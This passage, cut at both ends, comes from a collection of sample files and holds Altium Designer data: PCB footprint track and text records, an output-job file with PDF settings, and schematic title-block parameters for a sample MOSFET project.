OLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=0mil|Y1=0mil|X2=330.7087mil|Y2=0mil|WIDTH=10mil|SUBPOLYINDEX=0\r\n|RECORD=Track|INDEXFORSAVE=1|SELECTION=FALSE|LAYER=MECHANICAL1|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=330.7087mil|Y1=0mil|X2=330.7087mil|Y2=389.7638mil|WIDTH=10mil|SUBPOLYINDEX=0\r\n|RECORD=Track|INDEXFORSAVE=2|SELECTION=FALSE|LAYER=MECHANICAL1|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=0mil|Y1=389.7638mil|X2=330.7087mil|Y2=389.7638mil|WIDTH=10mil|SUBPOLYINDEX=0\r\n|RECORD=Track|INDEXFORSAVE=3|SELECTION=FALSE|LAYER=MECHANICAL1|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=0mil|Y1=0mil|X2=0mil|Y2=389.7638mil|WIDTH=10mil|SUBPOLYINDEX=0\r\n|RECORD=Track|COMPONENT=0|INDEXFORSAVE=4|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=212.9923mil|Y1=62.9923mil|X2=212.9923mil|Y2=251.9683mil|WIDTH=7.874mil|SUBPOLYINDEX=0\r\n|RECORD=Track|COMPONENT=0|INDEXFORSAVE=5|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=101.9683mil|Y1=79.9213mil|X2=101.9683mil|Y2=235.0393mil|WIDTH=7.874mil|SUBPOLYINDEX=0\r\n|RECORD=Track|COMPONENT=0|INDEXFORSAVE=6|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=119.2913mil|Y1=62.9923mil|X2=212.9923mil|Y2=62.9923mil|WIDTH=7.874mil|SUBPOLYINDEX=0\r\n|RECORD=Track|COMPONENT=0|INDEXFORSAVE=7|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=119.2913mil|Y1=251.9683mil|X2=212.9923mil|Y2=251.9683mil|WIDTH=7.874mil|SUBPOLYINDEX=0\r\n|RECORD=Track|COMPONENT=0|INDEXFORSAVE=8|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=101.9683mil|Y1=235.0393mil|X2=119.2913mil|Y2=252.3623mil|WIDTH=7.874mil|SUBPOLYINDEX=0\r\n|RECORD=Track|COMPONENT=0|INDEXFORSAVE=9|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=101.9683mil|Y1=79.9213mil|X2=119.2913mil|Y2=62.5983mil|WIDTH=7.874mil|SUBPOLYINDEX=0\r\n|RECORD=Track|COMPONENT=0|INDEXFORSAVE=10|SELECTION=FALSE|LAYER=MECHANICAL15|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=157.4803mil|Y1=137.7953mil|X2=157.4803mil|Y2=177.1654mil|WIDTH=3.937mil|SUBPOLYINDEX=0\r\n|RECORD=Track|COMPONENT=0|INDEXFORSAVE=11|SELECTION=FALSE|LAYER=MECHANICAL15|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|SOLDERMASKEXPANSIONMODE=None|PASTEMASKEXPANSIONMODE=None|X1=137.7953mil|Y1=157.4803mil|X2=177.1653mil|Y2=157.4803mil|WIDTH=3.937mil|SUBPOLYINDEX=0\r\n|RECORD=Text|COMPONENT=0|INDEXFORSAVE=0|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|X1=241.1419mil|Y1=74.2909mil|X2=292.31mil|Y2=145.1376mil|ROTATION= 0.00000000000000E+0000|X=247.0473mil|Y=80.1963mil|HEIGHT=59.055mil|FONT=DEFAULT|ROTATION= 0.00000000000000E+0000|MIRROR=FALSE|TEXT=3|WIDTH=5.9055mil|USETTFONTS=FALSE|BOLD=FALSE|ITALIC=FALSE|INVERTED=FALSE|FONTNAME=Arial|INVERTEDTTTEXTBORDER=0mil|WIDESTRING=51|USEINVERTEDRECTANGLE=FALSE|INVRECTWIDTH=0mil|INVRECTHEIGHT=0mil|TTFINVERTEDTEXTJUSTIFY=5|TTFOFFSETFROMINVERTEDRECT=0mil|TEXTKIND=0|BARCODEFULLWIDTH=0mil|BARCODEFULLHEIGHT=210mil|BARCODEXMARGIN=0mil|BARCODEYMARGIN=0mil|BARCODEMINWIDTH=0mil|BARCODEKIND=0|BARCODERENDERMODE=1|BARCODEINVERTED=FALSE|BARCODEFONTNAME=Arial|BARCODESHOWTEXT=TRUE|ADVANCEMODE=FALSE\r\n|RECORD=Text|COMPONENT=0|INDEXFORSAVE=1|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|X1=241.1419mil|Y1=173.4249mil|X2=272.6313mil|Y2=244.2716mil|ROTATION= 0.00000000000000E+0000|X=247.0473mil|Y=179.3303mil|HEIGHT=59.055mil|FONT=DEFAULT|ROTATION= 0.00000000000000E+0000|MIRROR=FALSE|TEXT=1|WIDTH=5.9055mil|USETTFONTS=FALSE|BOLD=FALSE|ITALIC=FALSE|INVERTED=FALSE|FONTNAME=Arial|INVERTEDTTTEXTBORDER=0mil|WIDESTRING=49|USEINVERTEDRECTANGLE=FALSE|INVRECTWIDTH=0mil|INVRECTHEIGHT=0mil|TTFINVERTEDTEXTJUSTIFY=5|TTFOFFSETFROMINVERTEDRECT=0mil|TEXTKIND=0|BARCODEFULLWIDTH=0mil|BARCODEFULLHEIGHT=210mil|BARCODEXMARGIN=0mil|BARCODEYMARGIN=0mil|BARCODEMINWIDTH=0mil|BARCODEKIND=0|BARCODERENDERMODE=1|BARCODEINVERTED=FALSE|BARCODEFONTNAME=Arial|BARCODESHOWTEXT=TRUE|ADVANCEMODE=FALSE\r\n|RECORD=Text|COMPONENT=0|INDEXFORSAVE=2|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|X1=97.9803mil|Y1=275.9803mil|X2=197.9544mil|Y2=355.9609mil|ROTATION= 0.00000000000000E+0000|X=107.9803mil|Y=285.9803mil|HEIGHT=60mil|FONT=DEFAULT|ROTATION= 0.00000000000000E+0000|MIRROR=FALSE|TEXT=Q1|WIDTH=10mil|USETTFONTS=FALSE|BOLD=FALSE|ITALIC=FALSE|INVERTED=FALSE|FONTNAME=Arial|INVERTEDTTTEXTBORDER=0mil|WIDESTRING=81,49|USEINVERTEDRECTANGLE=FALSE|INVRECTWIDTH=0mil|INVRECTHEIGHT=0mil|TTFINVERTEDTEXTJUSTIFY=3|TTFOFFSETFROMINVERTEDRECT=0mil|TEXTKIND=0|BARCODEFULLWIDTH=1050mil|BARCODEFULLHEIGHT=210mil|BARCODEXMARGIN=20mil|BARCODEYMARGIN=20mil|BARCODEMINWIDTH=0mil|BARCODEKIND=0|BARCODERENDERMODE=1|BARCODEINVERTED=TRUE|BARCODEFONTNAME=Arial|BARCODESHOWTEXT=TRUE|ADVANCEMODE=FALSE|DESIGNATOR=True\r\n|RECORD=Text|COMPONENT=0|INDEXFORSAVE=3|SELECTION=FALSE|LAYER=TOPOVERLAY|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|X1=97.9803mil|Y1=-41.0197mil|X2=577.8316mil|Y2=38.9609mil|ROTATION= 0.00000000000000E+0000|X=107.9803mil|Y=-31.0197mil|HEIGHT=60mil|FONT=DEFAULT|ROTATION= 0.00000000000000E+0000|MIRROR=FALSE|TEXT=MOSFET-N|WIDTH=10mil|USETTFONTS=FALSE|BOLD=FALSE|ITALIC=FALSE|INVERTED=FALSE|FONTNAME=Arial|INVERTEDTTTEXTBORDER=0mil|WIDESTRING=77,79,83,70,69,84,45,78|USEINVERTEDRECTANGLE=FALSE|INVRECTWIDTH=0mil|INVRECTHEIGHT=0mil|TTFINVERTEDTEXTJUSTIFY=3|TTFOFFSETFROMINVERTEDRECT=0mil|TEXTKIND=0|BARCODEFULLWIDTH=1050mil|BARCODEFULLHEIGHT=210mil|BARCODEXMARGIN=20mil|BARCODEYMARGIN=20mil|BARCODEMINWIDTH=0mil|BARCODEKIND=0|BARCODERENDERMODE=1|BARCODEINVERTED=TRUE|BARCODEFONTNAME=Arial|BARCODESHOWTEXT=TRUE|ADVANCEMODE=FALSE|COMMENT=True\r\nRECORD=Region|INDEXFORSAVE=0|V7_LAYER=MULTILAYER|NAME=Layer Stack Region 1|LAYER=KEEPOUT|KEEPOUT=TRUE|ISBOARDCUTOUT=TRUE|KIND=0|SUBPOLYINDEX=-1|UNIONINDEX=0|ARCRESOLUTION=0.5mil|ISSHAPEBASED=FALSE|CAVITYHEIGHT=0mil|OBJECTKIND=BoardRegion|BENDINGLINECOUNT=0|LOCKED3D=FALSE|LAYERSTACKID={133D6234-F010-46C7-B390-43FBDD454A88}\r\n"
  },
  {
    "path": "samples/Altium Designer/Sample Output Job.OutJob",
    "content": "[OutputJobFile]\r\nVersion=1.0\r\nCaption=\r\nDescription=\r\nVaultGUID=\r\nItemGUID=\r\nItemHRID=\r\nRevisionGUID=\r\nRevisionId=\r\nVaultHRID=\r\nAutoItemHRID=\r\nNextRevId=\r\nFolderGUID=\r\nLifeCycleDefinitionGUID=\r\nRevisionNamingSchemeGUID=\r\n\r\n[OutputGroup1]\r\nName=Job Group\r\nDescription=\r\nTargetOutputMedium=PDF\r\nVariantName=[No Variations]\r\nVariantScope=1\r\nCurrentConfigurationName=\r\nTargetPrinter=Virtual Printer\r\nPrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1\r\nOutputMedium1=PDF\r\nOutputMedium1_Type=Publish\r\nOutputType1=PDF3D\r\nOutputName1=PDF3D\r\nOutputCategory1=Documentation\r\nOutputDocumentPath1=\r\nOutputVariantName1=\r\nOutputEnabled1=1\r\nOutputEnabled1_OutputMedium1=1\r\nOutputDefault1=0\r\nPageOptions1=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\n\r\n[PublishSettings]\r\nOutputFilePath1=.\\Job1.PDF\r\nReleaseManaged1=0\r\nOutputBasePath1=.\\\r\nOutputPathMedia1=\r\nOutputPathMediaValue1=\r\nOutputPathOutputer1=[Output Type]\r\nOutputPathOutputerPrefix1=\r\nOutputPathOutputerValue1=\r\nOutputFileName1=Job1.PDF\r\nOutputFileNameMulti1=\r\nUseOutputNameForMulti1=1\r\nOutputFileNameSpecial1=\r\nOpenOutput1=1\r\nPromptOverwrite1=1\r\nPublishMethod1=0\r\nZoomLevel1=50\r\nFitSCHPrintSizeToDoc1=1\r\nFitPCBPrintSizeToDoc1=1\r\nGenerateNetsInfo1=1\r\nMarkPins1=1\r\nMarkNetLabels1=1\r\nMarkPortsId1=1\r\nGenerateTOC1=1\r\nShowComponentParameters1=1\r\nGlobalBookmarks1=0\r\nPDFACompliance1=Disabled\r\nPDFVersion1=Default\r\n\r\n[GeneratedFilesSettings]\r\nRelativeOutputPath1=.\\Job1.PDF\r\nOpenOutputs1=1\r\n\r\n"
  },
  {
    "path": "samples/Altium Designer/Sample Schematic Sheet.SchDoc",
    "content": "|HEADER=Protel for Windows - Schematic Capture Ascii File Version 5.0|WEIGHT=120|MINORVERSION=2|UNIQUEID=VUNWLVBI\r\n|RECORD=31|FONTIDCOUNT=4|SIZE1=10|FONTNAME1=Times New Roman|SIZE2=12|FONTNAME2=Times New Roman|SIZE3=10|ITALIC3=T|FONTNAME3=Times New Roman|SIZE4=15|ITALIC4=T|BOLD4=T|FONTNAME4=Times New Roman|USEMBCS=T|ISBOC=T|HOTSPOTGRIDON=T|HOTSPOTGRIDSIZE=4|SHEETSTYLE=10|SYSTEMFONT=1|BORDERON=T|SHEETNUMBERSPACESIZE=12|AREACOLOR=16317695|SNAPGRIDON=T|SNAPGRIDSIZE=10|VISIBLEGRIDON=T|VISIBLEGRIDSIZE=10|CUSTOMX=1000|CUSTOMY=800|SHOWTEMPLATEGRAPHICS=T|TEMPLATEFILENAME=C:\\Users\\Public\\Documents\\Altium\\AD19\\Templates\\Letter.SchDot|DISPLAY_UNIT=0\r\n|RECORD=39|ISNOTACCESIBLE=T|OWNERPARTID=-1|FILENAME=C:\\Users\\Public\\Documents\\Altium\\AD19\\Templates\\Letter.SchDot\r\n|RECORD=4|OWNERINDEX=1|OWNERPARTID=-1|LOCATION.X=806|LOCATION.Y=30|COLOR=8388608|FONTID=1|TEXT==sheetnumber\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=1|OWNERPARTID=-1|LOCATION.X=875|LOCATION.Y=70|COLOR=8388608|FONTID=3|TEXT==organization\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=2|OWNERPARTID=-1|LOCATION.X=875|LOCATION.Y=60|COLOR=8388608|FONTID=3|TEXT==address1\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=3|OWNERPARTID=-1|LOCATION.X=875|LOCATION.Y=50|COLOR=8388608|FONTID=3|TEXT==address2\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=4|OWNERPARTID=-1|LOCATION.X=875|LOCATION.Y=40|COLOR=8388608|FONTID=3|TEXT==address3\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=5|OWNERPARTID=-1|LOCATION.X=875|LOCATION.Y=30|COLOR=8388608|FONTID=3|TEXT==address4\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=6|OWNERPARTID=-1|LOCATION.X=832|LOCATION.Y=30|COLOR=8388608|FONTID=1|TEXT==sheettotal\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=7|OWNERPARTID=-1|LOCATION.X=648|LOCATION.Y=64|COLOR=128|FONTID=4|TEXT==title\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=8|OWNERPARTID=-1|LOCATION.X=727|LOCATION.Y=44|COLOR=8388608|FONTID=2|TEXT==documentnumber\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=9|OWNERPARTID=-1|LOCATION.X=819|LOCATION.Y=44|COLOR=8388608|FONTID=2|TEXT==revision\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=10|OWNERPARTID=-1|LOCATION.X=650|LOCATION.Y=30|COLOR=8388608|FONTID=1|TEXT==CurrentDate\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=11|OWNERPARTID=-1|LOCATION.X=735|LOCATION.Y=30|COLOR=8388608|FONTID=1|TEXT==CurrentTime\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=12|OWNERPARTID=-1|LOCATION.X=650|LOCATION.Y=20|COLOR=8388608|FONTID=1|TEXT==DocumentFullPathAndName\r\n|RECORD=6|OWNERINDEX=1|INDEXINSHEET=13|OWNERPARTID=-1|LOCATIONCOUNT=3|X1=980|Y1=80|X2=620|Y2=80|X3=620|Y3=20\r\n|RECORD=6|OWNERINDEX=1|INDEXINSHEET=14|OWNERPARTID=-1|LOCATIONCOUNT=2|X1=620|Y1=60|X2=870|Y2=60\r\n|RECORD=6|OWNERINDEX=1|INDEXINSHEET=15|OWNERPARTID=-1|LOCATIONCOUNT=2|X1=690|Y1=60|X2=690|Y2=40\r\n|RECORD=6|OWNERINDEX=1|INDEXINSHEET=16|OWNERPARTID=-1|LOCATIONCOUNT=2|X1=980|Y1=30|X2=620|Y2=30\r\n|RECORD=6|OWNERINDEX=1|INDEXINSHEET=17|OWNERPARTID=-1|LOCATIONCOUNT=2|X1=780|Y1=60|X2=780|Y2=30\r\n|RECORD=6|OWNERINDEX=1|INDEXINSHEET=18|OWNERPARTID=-1|LOCATIONCOUNT=3|X1=1080|Y1=80|X2=980|Y2=80|X3=980|Y3=30\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=19|OWNERPARTID=-1|LOCATION.X=625|LOCATION.Y=65|FONTID=1|TEXT=Title\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=20|OWNERPARTID=-1|LOCATION.X=625|LOCATION.Y=45|FONTID=1|TEXT=Size:\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=21|OWNERPARTID=-1|LOCATION.X=695|LOCATION.Y=45|FONTID=1|TEXT=Number:\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=22|OWNERPARTID=-1|LOCATION.X=625|LOCATION.Y=30|FONTID=1|TEXT=Date:\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=23|OWNERPARTID=-1|LOCATION.X=625|LOCATION.Y=20|FONTID=1|TEXT=File:\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=24|OWNERPARTID=-1|LOCATION.X=785|LOCATION.Y=45|FONTID=1|TEXT=Revision:\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=25|OWNERPARTID=-1|LOCATION.X=785|LOCATION.Y=30|FONTID=1|TEXT=Sheet\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=26|OWNERPARTID=-1|LOCATION.X=819|LOCATION.Y=30|FONTID=1|TEXT=of\r\n|RECORD=6|OWNERINDEX=1|INDEXINSHEET=27|OWNERPARTID=-1|LOCATIONCOUNT=2|X1=870|Y1=80|X2=870|Y2=30\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=28|OWNERPARTID=-1|LOCATION.X=710|LOCATION.Y=30|FONTID=1|TEXT=Time:\r\n|RECORD=4|OWNERINDEX=1|INDEXINSHEET=29|OWNERPARTID=-1|LOCATION.X=650|LOCATION.Y=44|COLOR=8388608|FONTID=2|TEXT=Letter\r\n|RECORD=6|OWNERINDEX=1|INDEXINSHEET=30|OWNERPARTID=-1|LOCATIONCOUNT=2|X1=620|Y1=40|X2=870|Y2=40\r\n|RECORD=6|OWNERINDEX=1|INDEXINSHEET=31|OWNERPARTID=-1|LOCATIONCOUNT=2|X1=980|Y1=30|X2=1080|Y2=30\r\n|RECORD=30|OWNERINDEX=1|INDEXINSHEET=32|OWNERPARTID=-1|LOCATION.X=985|LOCATION.Y=35|CORNER.X=1075|CORNER.Y=75|EMBEDIMAGE=T|FILENAME=newAltmLogo.bmp\r\n|RECORD=41|INDEXINSHEET=1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=CurrentTime|READONLYSTATE=1|UNIQUEID=TFKFYYBZ\r\n|RECORD=41|INDEXINSHEET=2|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=CurrentDate|READONLYSTATE=1|UNIQUEID=CQMMQRIW\r\n|RECORD=41|INDEXINSHEET=3|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=Time|READONLYSTATE=1|UNIQUEID=ORMXQSXJ\r\n|RECORD=41|INDEXINSHEET=4|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=Date|READONLYSTATE=1|UNIQUEID=HZWWYOPY\r\n|RECORD=41|INDEXINSHEET=5|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=DocumentFullPathAndName|READONLYSTATE=1|UNIQUEID=NOAYSZIV\r\n|RECORD=41|INDEXINSHEET=6|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=DocumentName|READONLYSTATE=1|UNIQUEID=HEPZZOBD\r\n|RECORD=41|INDEXINSHEET=7|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=ModifiedDate|READONLYSTATE=1|UNIQUEID=LQITJDRB\r\n|RECORD=41|INDEXINSHEET=8|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Jeremy Blum|NAME=ApprovedBy|READONLYSTATE=1|UNIQUEID=HAXYCFAN\r\n|RECORD=41|INDEXINSHEET=9|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Jeremy Blum|NAME=CheckedBy|READONLYSTATE=1|UNIQUEID=BOYBRKEO\r\n|RECORD=41|INDEXINSHEET=10|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Jeremy Blum|NAME=Author|READONLYSTATE=1|UNIQUEID=JQQMCYKT\r\n|RECORD=41|INDEXINSHEET=11|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Blum Idea Labs, LLC.|NAME=CompanyName|READONLYSTATE=1|UNIQUEID=XSKIFVPJ\r\n|RECORD=41|INDEXINSHEET=12|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Jeremy Blum|NAME=DrawnBy|READONLYSTATE=1|UNIQUEID=WZQRCJTC\r\n|RECORD=41|INDEXINSHEET=13|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Jeremy Blum|NAME=Engineer|READONLYSTATE=1|UNIQUEID=EBYLPZMA\r\n|RECORD=41|INDEXINSHEET=14|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Blum Idea Labs, LLC.|NAME=Organization|READONLYSTATE=1|UNIQUEID=MTKSNFYI\r\n|RECORD=41|INDEXINSHEET=15|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=P. Sherman|NAME=Address1|READONLYSTATE=1|UNIQUEID=QEBJURHF\r\n|RECORD=41|INDEXINSHEET=16|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=42 Wallaby Way|NAME=Address2|READONLYSTATE=1|UNIQUEID=YOFSTNMZ\r\n|RECORD=41|INDEXINSHEET=17|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Sydney, NSW|NAME=Address3|READONLYSTATE=1|UNIQUEID=XOHAZYDX\r\n|RECORD=41|INDEXINSHEET=18|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Australia|NAME=Address4|READONLYSTATE=1|UNIQUEID=GJWLKXWR\r\n|RECORD=41|INDEXINSHEET=19|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Sample Project|NAME=Title|READONLYSTATE=1|UNIQUEID=AHBYIKHM\r\n|RECORD=41|INDEXINSHEET=20|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=1|NAME=DocumentNumber|READONLYSTATE=1|UNIQUEID=TSMBUTGZ\r\n|RECORD=41|INDEXINSHEET=21|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=A|NAME=Revision|READONLYSTATE=1|UNIQUEID=HLUYXYJR\r\n|RECORD=41|INDEXINSHEET=22|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=1|NAME=SheetNumber|READONLYSTATE=1|UNIQUEID=ADCKVWVB\r\n|RECORD=41|INDEXINSHEET=23|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=1|NAME=SheetTotal|READONLYSTATE=1|UNIQUEID=SNRLLNQN\r\n|RECORD=41|INDEXINSHEET=24|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=Rule|READONLYSTATE=1|UNIQUEID=GVGHLCDM\r\n|RECORD=41|INDEXINSHEET=25|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=ImagePath|READONLYSTATE=1|UNIQUEID=DWEYCXTC\r\n|RECORD=41|INDEXINSHEET=26|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=ProjectName|READONLYSTATE=1|UNIQUEID=YJXFHWQX\r\n|RECORD=41|INDEXINSHEET=27|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=Application_BuildNumber|READONLYSTATE=1|UNIQUEID=XLIGBUNT\r\n|RECORD=41|INDEXINSHEET=28|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|NAME=ConfigurationParameters|READONLYSTATE=1|UNIQUEID=VHSBRBFY\r\n|RECORD=41|INDEXINSHEET=29|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|NAME=ConfiguratorName|READONLYSTATE=1|UNIQUEID=ZQHYRWYU\r\n|RECORD=41|INDEXINSHEET=30|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|NAME=VersionControl_RevNumber|READONLYSTATE=1|UNIQUEID=UPNBQKFJ\r\n|RECORD=41|INDEXINSHEET=31|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|NAME=IsUserConfigurable|READONLYSTATE=1|UNIQUEID=FJKATWKI\r\n|RECORD=41|INDEXINSHEET=32|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|NAME=VersionControl_ProjFolderRevNumber|READONLYSTATE=1|UNIQUEID=JKDUFRLW\r\n|RECORD=1|LIBREFERENCE=MOSFET-N|COMPONENTDESCRIPTION=N-Channel MOSFET|PARTCOUNT=2|DISPLAYMODECOUNT=1|INDEXINSHEET=33|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=510|CURRENTPARTID=1|SOURCELIBRARYNAME=Sample Integrated Library.IntLib|TARGETFILENAME=*|UNIQUEID=PFBWQACS|AREACOLOR=11599871|COLOR=128|PARTIDLOCKED=F|DESIGNITEMID=MOSFET-N|ALLPINCOUNT=3\r\n|RECORD=41|OWNERINDEX=67|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=510|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=8-Jun-2000|NAME=Published|UNIQUEID=ZOVXKNZF\r\n|RECORD=41|OWNERINDEX=67|INDEXINSHEET=1|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=510|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=17-Jul-2002|NAME=LatestRevisionDate|UNIQUEID=TVRTETJR\r\n|RECORD=41|OWNERINDEX=67|INDEXINSHEET=2|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=510|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Re-released for DXP Platform.|NAME=LatestRevisionNote|UNIQUEID=EKKGXTXI\r\n|RECORD=41|OWNERINDEX=67|INDEXINSHEET=3|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=510|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=1995/1996|NAME=PackageVersion|UNIQUEID=YNBMVHFY\r\n|RECORD=41|OWNERINDEX=67|INDEXINSHEET=4|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=510|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=E3|NAME=PackageReference|UNIQUEID=SQMUAXHU\r\n|RECORD=41|OWNERINDEX=67|INDEXINSHEET=5|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=510|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Altium Limited|NAME=Publisher|UNIQUEID=MSIBBBCW\r\n|RECORD=41|OWNERINDEX=67|INDEXINSHEET=6|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=510|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=TO, Flat Index; 3 In-Line, Axial Leads; Body Dia. 4.6mm; Lead Dia. 0.5 mm 